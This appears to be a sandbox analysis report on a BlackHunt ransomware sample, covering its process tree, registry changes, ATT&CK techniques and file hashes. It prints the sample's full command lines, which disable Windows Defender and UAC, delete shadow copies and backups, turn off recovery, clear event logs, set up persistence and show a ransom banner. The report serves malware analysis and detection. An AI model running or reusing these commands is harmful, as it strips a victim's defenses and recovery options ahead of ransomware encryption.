wrote to memory of 2660 2692 cmd.exe 116 PID 2692 wrote to memory of 2660 2692 cmd.exe 116 PID 2176 wrote to memory of 2548 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 115 PID 2176 wrote to memory of 2548 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 115 PID 2176 wrote to memory of 2548 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 115 PID 2176 wrote to memory of 2548 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 115 PID 2176 wrote to memory of 2564 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 47 PID 2176 wrote to memory of 2564 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 47 PID 2176 wrote to memory of 2564 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 47 PID 2176 wrote to memory of 2564 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 47 PID 2756 wrote to memory of 2600 2756 cmd.exe 113 PID 2756 wrote to memory of 2600 2756 cmd.exe 113 PID 2756 wrote to memory of 2600 2756 cmd.exe 113 PID 2176 wrote to memory of 2624 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 112 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe"C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2176 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2800
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2596
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2756 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2776
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2660
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2684
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2976
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2716
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2564
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2244
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1940
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:752
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1808
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1788
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2860
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:3036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2452
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2336
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2024
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2320
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1700
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1920
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1388
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1820
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe" /F2⤵PID:1104
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe" /F3⤵
- Creates scheduled task(s)
PID:2232
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2816
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2548
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2136
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2268
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Modifies Windows Defender Real-time Protection settings
- Deletes backup catalog
PID:2036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3064
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:292
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1868
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:1032
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:2592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2476
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:216
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2072
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:1728
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2424
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:1720
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:1688
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:932
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2776
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1588
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2232
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2000
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:236
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2800
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2832
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2336
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2880
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1936
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2704
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1988
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1112
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:2828
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:3036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:2556
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:1700
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:1376
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:2720
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:916
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2168
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:2980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:2732
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:2188
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2548
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:1856
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:564
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe"2⤵
- Deletes itself
PID:2132 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1872
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f1⤵PID:2072
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f1⤵PID:2228
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f1⤵PID:2236
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f1⤵PID:1476
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f1⤵PID:984
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f1⤵PID:2084
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f1⤵PID:2940
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f1⤵PID:2036
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f1⤵PID:2948
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f1⤵PID:2928
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:612
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded1⤵
- Interacts with shadow copies
PID:880
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB1⤵
- Interacts with shadow copies
PID:1732
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Interacts with shadow copies
PID:2524
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
PID:1580
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:1⤵
- Deletes NTFS Change Journal
PID:1276
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures1⤵
- Modifies boot configuration data using bcdedit
PID:2632
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1172
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2780
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1468
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2200
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C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:1208
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2456
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD5c9e665d5627e66ed7a691fff75db5944
SHA1666617be062a42fca0b7fee7446310233fb0f9e8
SHA256b2c789497eeba4da795dd9fe123d5fef40d0893e6f1d3ff3eac575d803c51b89
SHA512078ad974b86d2f0f1722af003e620f6e72aa8cd547c6737f891298e545292d99b377ba1d68632f5f4b8a8198aaf229395d5e5000079cb0404ca5406f685dde02
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Filesize
12KB
MD52056fc760bd30fbe50e46f611e7c04a4
SHA106ff99625da06c4bfab1a4dc5d1bfbfea29ed6a8
SHA256e7a2e750e1f1c403f51c6e23f3b9ab478bfe865241c6d410c1a33414409b2ed9
SHA51210812290c3198f0c47e21f6d9725cd748401403ed1c13a844542ccd8d9c58ec7bdd4198b60171c42825a51a98cfbc63d3d4faca2da8188ad31e843d21dfc6c9c
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Filesize
684B
MD54b4fb88847e62f1dc70d16b9abd1f899
SHA1d2b56f7076d5a0f61f3be89398552f5fb16ad057
SHA256a13f0ab8241d5992788d1ebf884cb66234849ee4bcef431b2b1ef8728b67b12b
SHA5129155956f248a3f2862a8fa7614bf8cca87a0423b2f555af9e08c9d3fe8838c436e40f96b97c2d568a605a599e2de746efaf10f9f27a21a94ae3bba4e997868a7